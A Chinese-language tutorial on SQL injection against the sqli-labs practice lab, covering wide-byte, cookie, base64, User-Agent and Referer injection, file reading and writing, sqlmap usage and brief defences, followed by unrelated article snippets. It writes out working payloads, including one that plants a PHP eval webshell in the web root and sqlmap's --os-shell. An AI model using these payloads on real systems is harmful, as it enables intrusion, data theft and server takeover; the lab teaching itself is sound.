SQL注入漏洞 其他注入
文章目录
- 宽字节注入
- 案例
- HTTP头部注入
- Cookie注入
- base64
- User-Agent注入
- Referer 注入
- SQL注入读写文件
- 条件
- 1.是否拥有读写权限
- 2.文件路径
- 3.secure_file_priv
- 读取文件
- 写入文件
- SQLMap
- 安装sqlmap
- kail 源安装
- 仓库克隆
- 参数简介
- 快速入门;SQLmap(常规)使用步骤
- POST注入方法
- GetShell
- SQL 注⼊漏洞防御
宽字节注入
宽字节注入是用在引号闭合前有转义字符\的他会让闭合引号失效,根据gbk编码前面加一个%变成url编码后再在5C 之前添加一个字符[81,FE] 之间,该字符就会和5c 组成一个汉字。
从而逃过转义限制
案例
在sqli-labs中less-32关中就有体现
进入关卡

寻找注入点


发现变化进行单引号闭合发现被转义

在闭合前加入字符81进行url编码%81连接后门的\的字符编码将\变为汉字失去转义功能

出现报错信息进行报错注入http://10.9.47.77/sqli-labs/Less-32/?id=2%81%27and%20updatexml(1,concat(0x5E,(select%20database()),0x5E),1)--+

http://10.9.47.77/sqli-labs/Less-32/?id=2%81'and updatexml(1,concat(0x3A,(select version()),0x3A),1)--+

HTTP头部注入
Cookie注入
对网页内容进行抓包在Cookie字段进行引号闭合寻找注入点

发现报错写入报错注入语句用#号闭合

如果#号无法闭合猜测后面还有单引号 可以使用 and ‘1进行闭合
base64
注入的参数需要进行base64 编码
在sqli-labs中less-22关中就有体现登录后发现cookie进行了编码

将cookie换成admin “进行闭合然后base64编码后发现报错存在sql注入

通过admin " order by 3 # 语句发现他的列数为3

使用联合查询爆出数据库名和版本admin " and 1=2 union select 1,version(),database() #

User-Agent注入
修改http头文件里的user-agent字段
User-Agent: xl’ and updatexml(1,concat(0x5e,(select database()),0x5e),1) and '1
在
sqli-labs18关有体现
登录后我们可以看到浏览器指纹信息尝试在里面sql注入
进行报错注入

Referer 注入
在Referer 字段中注入sql语句
Referer: xl’ and updatexml(1,concat(0x5e,(select database()),0x5e),1) and ‘1
在sqli-labs-19中就有体现

我们在头文件里进行注入找到’ and '1进行闭合插入

加入sql语句

SQL注入读写文件
条件
1.是否拥有读写权限
想要进行文件读写需要检测用户是否拥有文件权限
?id=2 and 1=2 union select 1,user(),3 #

得到当前登录的用户名进行权限查询
?id=2 and 1=2 union select 1,user(),file_priv from mysql.user where user='root' and host = 'localhost' #

2.文件路径
读写时文件必须使用绝对路径
3.secure_file_priv
mySQL 数据库有关于文件读写的安全选项 secure_file_priv。
secure_file_priv 参数限制了 mysqld(MySQL DBMS) 的导入导出操作,这个选项是不能利用SQL 语句修改,必须修改 my.ini 配置文件,并重启 mysql 数据库。
在数据库中也可以查看
show global variables like '%secure_file_priv%';

| 参数 | 含义 |
|---|---|
| secure_file_priv=NULL | 限制 mysqld 不允许导入导出操作。 |
| secure_file_priv=‘c:/ajest/’ | 限制 mysqld 的导入导出操作在某个固定目录下,并且子目录有效。 |
| secure_file_priv= | 不对 mysqld 的导入导出操作做限制。 |
本案例为空
读取文件
使用load_file函数进行文件读取
http://10.9.47.77/sqli-labs/Less-2/?id=2 and 1=2 union select 1,load_file("C:\\cms.sql"),3#

可以看到读取到了文件
写入文件
使用into outfile函数
http://10.9.47.77/sqli-labs/Less-2/?id=2 and 1=2 union select 1,"<?php @eval ($_REQUEST[777]);?>",3 into outfile "C:/phpstudy_2016/www/yjh.php" --+

文件上传成功

SQLMap
SQLMap 是一款专注于 SQLi 的工具,堪称神器。SQLmap 基于 Python 语言编写的命令行工具,集成在 Kali 中。
安装sqlmap
kail 源安装
sudo apt install sqlmap
仓库克隆
git clone https://github.com/sqlmapproject/sqlmap.git #将仓库克隆到本地
git fetch #检测更新
git pull #更新
参数简介
| 参数 | 含义 |
|---|---|
| -u | 检测注入点 |
| –dbs | 列出所有的库名 |
| –current-user | 当前连接数据库用户的名字 |
| –current-db | 当前数据库的名字 |
| -D “cms” | 指定目标数据库为 cms |
| –tables | 列出数据库中所有的表名 |
| -T “cms_users” | 指定目标表名为 cms_users |
| –columns | 列出所有的字段名 |
| -C ‘username,password’ | 指定目标字段 |
| –dump | 列出字段内容 |
| -r | 从文件中读取HTTP 请求 |
| –os-shell | 在特定情况下,可以直接获得目标系统 Shell |
| –level 3 | 设置 sqlmap 检测等级 3 |
| –cookie=“username=admin” | 携带 Cookie 信息进行注入 |
| -g | 利用 google 搜索引擎自动搜索注入点 |
| –batch | 使用默认选项 |
| –random-agent | 使用随机 User-Agent 信息 |
| -v 3 | 显示 payload |
快速入门;SQLmap(常规)使用步骤
1、检测「注入点」
sqlmap -u 'http://xx/?id=1'
2、查看所有「数据库」
sqlmap -u 'http://xx/?id=1' --dbs
3、查看当前使用的数据库
sqlmap -u 'http://xx/?id=1' --current-db
4、查看「数据表」
sqlmap -u 'http://xx/?id=1' -D 'security' --tables
5、查看「字段」
sqlmap -u 'http://xx/?id=1' -D 'security' -T 'users' --tables
6、查看「数据」
sqlmap -u 'http://xx/?id=1' -D 'security' -T 'users' --dump
POST注入方法
将遇到post请求在bp进行抓包将请求头文件放入一个文件里
使用
sqlmap -r 文件名
就可以跑post请求了
GetShell
-
受到 secure_file_priv 选项的限制;
-
填写路径时要写目标系统 Web 根目录的绝对路径
-
目录权限
启动sqlmap.\sqlmap.py -u "http://10.9.47.77/sqli-labs/Less-2/?id=2" --os-shell

可以看到引进进入选择一个语言然后选着自定义写入一个正确的绝对路径即可反弹

SQL 注⼊漏洞防御
-
避免采用拼接的方式构造 SQL 语句,可以采用PDO预编译等技术;
-
对进入 SQL 语句的参数进行足够过滤。
-
部署安全设备,如 WAF。定制武器库
利用编程语言写一些小工具。通过对工具的改造,达到定制化的目的,适用于不同的实战场景。
相关文章:
SQL注入漏洞 其他注入
文章目录 宽字节注入案例 HTTP头部注入Cookie注入base64User-Agent注入Referer 注入 SQL注入读写文件条件1.是否拥有读写权限2.文件路径3.secure_file_priv 读取文件写入文件 SQLMap安装sqlmapkail 源安装仓库克隆 参数简介快速入门;SQLmap(常规…...
Java自学第2课:Java语言基础知识要点
1 Java主类结构 任务:创建新项目名为item,包名为number,类名为first。 1.1 包声明 不指定包时,默认就是工程名,指定后,类文件可以分类了,是这意思吧。包就大概等于一个文件夹。而且在类文件中…...
flink状态和检查点
检查点和状态后端的区别 检查点 就是某个时间点下的所有算子的状态快照。这个时间点就是等所有任务将“同一个数据”处理完毕的时候。 状态后端:是一个管理状态的组件,还负责将本地状态(检查点)持久化到远程文件存储系统中。 分…...
数据仓库工具箱-零售业务
文章目录 一、维度模型设计的4步过程1.1 第一步:选择业务过程1.2 第二步:声明粒度1.3 第三步:确定维度1.4 第四步:确定事实 二、零售业务案例研究2.1 第一步:选择业务过程2.2 第二步:声明粒度2.3 第三步&am…...
网络工程实验记录
网络工程 show ip route show running-config 第一周 相同设备使用交叉线,不同设备之间使用直通线 R1能ping通10.1.1.1 R2能ping通所有的 R3能ping通172.16.1.1 即路由器只能到达自身线连接出去的,另一端就连接不了了。 此时给R1分配静态路由 R…...
Danswer 接入 Llama 2 模型 | 免费在 Google Colab 上托管 Llama 2 API
一、前言 前面在介绍本地部署免费开源的知识库方案时,已经简单介绍过 Danswer《Danswer 快速指南:不到15分钟打造您的企业级开源知识问答系统》,它支持即插即用不同的 LLM 模型,可以很方便的将本地知识文档通过不同的连接器接入到…...
react:路由
官方文档:https://reactrouter.com/en/main/start/overview#pending-navigation-ui 一:简单版本 先 npm i react-router-dom main.ts中内容替换为 import ReactDOM from react-dom/client import App from ./App.tsx import ./index.css import {creat…...
【AI工具】手把手带你使用Gradio分享你的模型
手把手带你使用Gradio分享你的模型 1. 快速入门2. 基本参数|支持的接口2.1 Interface类以及基础模块2.2 组件属性2.3 多输入输出组件2,4 图像组件2.5 Chatbots2.6 动态界面接口2.7 Blocks:更具灵活性和调控性2.7.1 Blocks入门2.7.2 更复杂的Blocks3. 分享自定义采样训练参考资…...
海洋专用cmocean颜色包_共22种--全平台可用
海洋专用cmocean颜色包_共22种–全平台可用 往期推荐: Python语言_matplotlib包_共80种–全平台可用 Python语言_single_color_共140种–全平台可用 R语言_RColorBrewer包–全平台可用 R语言gplots包的颜色索引表–全平台可用 R语言中的自带的调色板–五种–全平台…...
uni-app多端开发
uni-app 多端开发 一、命令创建uni-app 项目二、在微信小程序后台找到 appId 填写 appId三、运行项目四、使用 uni-ui4-1、下载4-2、自动导入4-3、ts项目下载类型校验 (uni-ui 组件库)4-3-1、下载4-3-2、配置 五、持久化 pinia六、数据请求封装七、获取组…...
Linux中固定ip端口和修改ip地址
一,更改虚拟网络编辑器 1,首先启动VMware,选择自己要更改ip或固定ip的虚拟机,并找到虚拟网络配编辑器,点击进入 2,进入之后需要点击右下角获取管理员权限后才能修改,有管理员权限之后图片如下 …...
csdn初始模板【自用】
这里写自定义目录标题 欢迎使用Markdown编辑器新的改变功能快捷键合理的创建标题,有助于目录的生成如何改变文本的样式插入链接与图片如何插入一段漂亮的代码片生成一个适合你的列表创建一个表格设定内容居中、居左、居右SmartyPants 创建一个自定义列表如何创建一个…...
2311rust无畏并发.
原文 Rust无畏并发 Rust是为了解决两个麻烦问题: 1,如何安全系统编程 2,如何无畏并发 最初,这些问题似乎是无关的,但令惊讶的是,方法竟然是相同的:使Rust安全的相同工具也可帮助解决并发问题. 内存安全和并发错误,一般认为是代码在不应访问数据时访问数据.Rust依靠所有权为…...
阿里云中的云服务器的ubuntu中的vim没有显示行号
没有行号: 在终端输入命令: vim ~/.vimrc set nu...
Golang 在 Mac、Linux、Windows 下如何交叉编译
Golang 支持交叉编译,在一个平台上生成另一个平台的可执行程序。 GOOS:目标平台的操作系统(darwin、freebsd、linux、windows) GOARCH:目标平台的体系架构(386、amd64、arm) 具体组合…...
如何写好一篇学术论文
目录 前言 1.标题和摘要 1.1标题 1.2摘要及关键词 1.2.1摘要 1.2.2关键词 2.正文 2.1引言 2.2问题建模 2.3研究方法及分析 2.4仿真(伪代码) 2.5实验结果及分析 2.6 总结 2.7延深 2.7.1图片处理 2.7.2审稿回复 2.7.3如何避免拒稿 2.7.4写…...
kubernetes资源监控
目录 一、资源限制 1、limitrange 2、ResourceQuota 二、metrics-server 三、图形化监控和代码行监控 1、dashboard 2、k9s 四、hpa 一、资源限制 Kubernetes采用request和limit两种限制类型来对资源进行分配。request(资源需求):即运行Pod的节点必须满足运…...
Bitget Wallet:使用 Base 链购买 ETH 的简明教程
Base 链是一种 Layer 2(L2)公链,它可以为用户提供以太坊(ETH)代币,而 Bitget Wallet 是一款多功能加密货币钱包,支持 Base 链以及其他主要区块链。...
PostgreSQL简介及安装步骤
PostgreSQL简介 PostgreSQL是一款开源的关系型数据库管理系统,具有强大的扩展性、高度的可定制性和可靠的稳定性,因此在企业级应用和开发领域中得到了广泛的应用。本文将介绍PostgreSQL的基本概念以及在各种操作系统上的安装步骤。 安装步骤 1. Window…...
《安富莱嵌入式周报》第326期:航空航天级CANopen协议栈,开源USB PD电源和功耗分析,开源EtherCAT伺服驱动板,时序绘制软件,现代机器人设计
周报汇总地址:嵌入式周报 - uCOS & uCGUI & emWin & embOS & TouchGFX & ThreadX - 硬汉嵌入式论坛 - Powered by Discuz! 更新一期视频教程: BSP视频教程第28期:CANopen协议栈专题,CANopen主从机组网实战&a…...
postgresql|数据库|只读用户的创建和删除(备忘)
CREATE USER read_only WITH PASSWORD 密码 -- 连接到xxx数据库 \c xxx -- 授予对xxx数据库的只读权限 GRANT CONNECT ON DATABASE xxx TO read_only; GRANT USAGE ON SCHEMA public TO read_only; GRANT SELECT ON ALL TABLES IN SCHEMA public TO read_only; GRANT EXECUTE O…...
《基于Apache Flink的流处理》笔记
思维导图 1-3 章 4-7章 8-11 章 参考资料 源码: https://github.com/streaming-with-flink 博客 https://flink.apache.org/bloghttps://www.ververica.com/blog 聚会及会议 https://flink-forward.orghttps://www.meetup.com/topics/apache-flink https://n…...
基于matlab策略迭代和值迭代法的动态规划
经典的基于策略迭代和值迭代法的动态规划matlab代码,实现机器人的最优运输 Dynamic-Programming-master/Environment.pdf , 104724 Dynamic-Programming-master/README.md , 506 Dynamic-Programming-master/generalizedPolicyIteration.m , 1970 Dynamic-Programm…...
python执行测试用例,allure报乱码且未成功生成报告
allure执行测试用例时显示乱码:‘allure’ �����ڲ����ⲿ���Ҳ���ǿ�&am…...
Bean 作用域有哪些?如何答出技术深度?
导语: Spring 面试绕不开 Bean 的作用域问题,这是面试官考察候选人对 Spring 框架理解深度的常见方式。本文将围绕“Spring 中的 Bean 作用域”展开,结合典型面试题及实战场景,帮你厘清重点,打破模板式回答,…...
ThreadLocal 源码
ThreadLocal 源码 此类提供线程局部变量。这些变量不同于它们的普通对应物,因为每个访问一个线程局部变量的线程(通过其 get 或 set 方法)都有自己独立初始化的变量副本。ThreadLocal 实例通常是类中的私有静态字段,这些类希望将…...
写一个shell脚本,把局域网内,把能ping通的IP和不能ping通的IP分类,并保存到两个文本文件里
写一个shell脚本,把局域网内,把能ping通的IP和不能ping通的IP分类,并保存到两个文本文件里 脚本1 #!/bin/bash #定义变量 ip10.1.1 #循环去ping主机的IP for ((i1;i<10;i)) doping -c1 $ip.$i &>/dev/null[ $? -eq 0 ] &&am…...
【Java】Ajax 技术详解
文章目录 1. Filter 过滤器1.1 Filter 概述1.2 Filter 快速入门开发步骤:1.3 Filter 执行流程1.4 Filter 拦截路径配置1.5 过滤器链2. Listener 监听器2.1 Listener 概述2.2 ServletContextListener3. Ajax 技术3.1 Ajax 概述3.2 Ajax 快速入门服务端实现:客户端实现:4. Axi…...
RFID推动新能源汽车零部件生产系统管理应用案例
RFID推动新能源汽车零部件生产系统管理应用案例 一、项目背景 新能源汽车零部件场景 在新能源汽车零部件生产领域,电子冷却水泵等关键部件的装配溯源需求日益增长。传统 RFID 溯源方案采用 “网关 RFID 读写头” 模式,存在单点位单独头溯源、网关布线…...
年度峰会上,抖音依靠人工智能和搜索功能吸引广告主
上周早些时候举行的第五届年度TikTok World产品峰会上,TikTok推出了一系列旨在增强该应用对广告主吸引力的功能。 新产品列表的首位是TikTok Market Scope,这是一个全新的分析平台,为广告主提供整个考虑漏斗的全面视图,使他们能够…...
